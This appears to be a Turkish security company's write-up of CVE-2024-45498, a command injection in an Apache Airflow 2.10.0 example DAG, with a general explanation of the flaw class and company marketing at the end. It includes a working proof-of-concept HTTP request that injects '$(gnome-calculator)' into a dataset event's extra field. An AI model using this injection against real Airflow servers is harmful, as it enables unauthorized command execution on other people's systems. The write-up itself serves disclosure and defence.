Kritik Risk
Apache Airflow Command injection
CVE-2024-45498
Command Injection Nedir?
Command Injection (Komut Enjeksiyonu), saldırganın hedef uygulama üzerinde, sistem komutlarının çalıştırılmasına olanak tanıyan bir zafiyeti kötüye kullanarak yetkisiz işlemler gerçekleştirdiği bir güvenlik açığıdır. Bu tür bir zafiyet, genellikle kullanıcı girdisinin doğrulanmaması veya yetersiz şekilde filtrelenmesi nedeniyle oluşur.
Bir web uygulaması, genellikle işletim sistemi seviyesindeki komutları çalıştırmak için exec, system, popen veya benzeri fonksiyonları kullanır. Eğer bu komutlara kullanıcı girdisi doğrudan ekleniyorsa ve bu giriş uygun şekilde kontrol edilmezse, saldırgan sistemde istediği komutları çalıştırabilir.
Nasıl Çalışır?
Command Injection zafiyetinin temelinde, kullanıcının sağladığı girişin, işletim sistemi komutlarıyla birleşerek doğrudan bir komut satırına gönderilmesi yatar. Saldırgan, genellikle aşağıdaki tekniklerle komut akışını manipüle eder:
Komut Zincirleme Operatörleri Kullanımı:
Saldırganlar, işletim sistemi komutlarını birleştirmek için
;,&&,||,|gibi operatörler kullanır.Örnek:
Alt Süreçlerin Çağrılması:
Bazı sistemlerde
$(komut)veyakomutgibi ifadelerle alt süreçler çalıştırılabilir.Örnek:
Yeniden Yönlendirme Operatörleri:
Çıktıyı yönlendirme (
>,>>) veya hataları bastırma (2>&1) ile komut akışı kontrol edilebilir.
CVE-2024-45498: Apache Airflow Command injection in read_dataset_event_from_classic DAG
Özet
read_dataset_event_from_classic isimli DAG'de bulunan Command Injection zafiyeti, Dataset("s3://output/1.txt") verisine dayalı bir bash komutunu çalıştırmaktadır. Ancak, User yetkilerine sahip bir saldırgan, s3://output/1.txt datasetinde OS komutları enjekte ederek herhangi bir işletim sistemi komutunu çalıştırabilmektedir.
Gereksinimler
Airflow sürümü: 2.10.0
DAG: example_inlet_event_extra.py
create DatasetveDAG triggerizinlerine sahip bir kullanıcı
Kullanıcı hesabına giriş yapılır.

Aşağıda gösterildiği gibi bir istek aracılığıyla
s3://output/1.txtdatasetine kötü amaçlı komut enjekte edilir.
POST /api/v1/datasets/events HTTP/1.1 Host: D0:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0 Accept: application/json Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br Connection: keep-alive Referer: [<http://D0:8080/datasets?uri=s3%3A%2F%2Foutput%2F1.txt>](<http://192.168.168.129:8080/datasets?uri=s3%3A%2F%2Foutput%2F1.txt>) Cookie: session=<authen-cookie> Content-Type: application/json Content-Length: 62
{"dataset_uri":"s3://output/1.txt","extra":{"hi":" '$(gnome-calculator)' "}}


DAG listesine gidilir ve
read_dataset_event_from_classicDAG tetiklenir.

read_dataset_event_from_classicgörev günlüklerine gidilir ve döndürülen çıktı incelenir.

Author : Fatih TÜRÜT
Similar CVE Analyses
See the impact of our cybersecurity solutions on businesses through real projects. Each case study details our tailored approaches to our clients' needs and the comprehensive solutions we provide against threats. Discover the success and value of our security strategies.
15+ Years
Experience
10+
Cyber Security Specialist
100%
Success Rate
400+
Successful Operation
Let's answer the questions in your mind.
You can find the answers to frequently asked questions below.


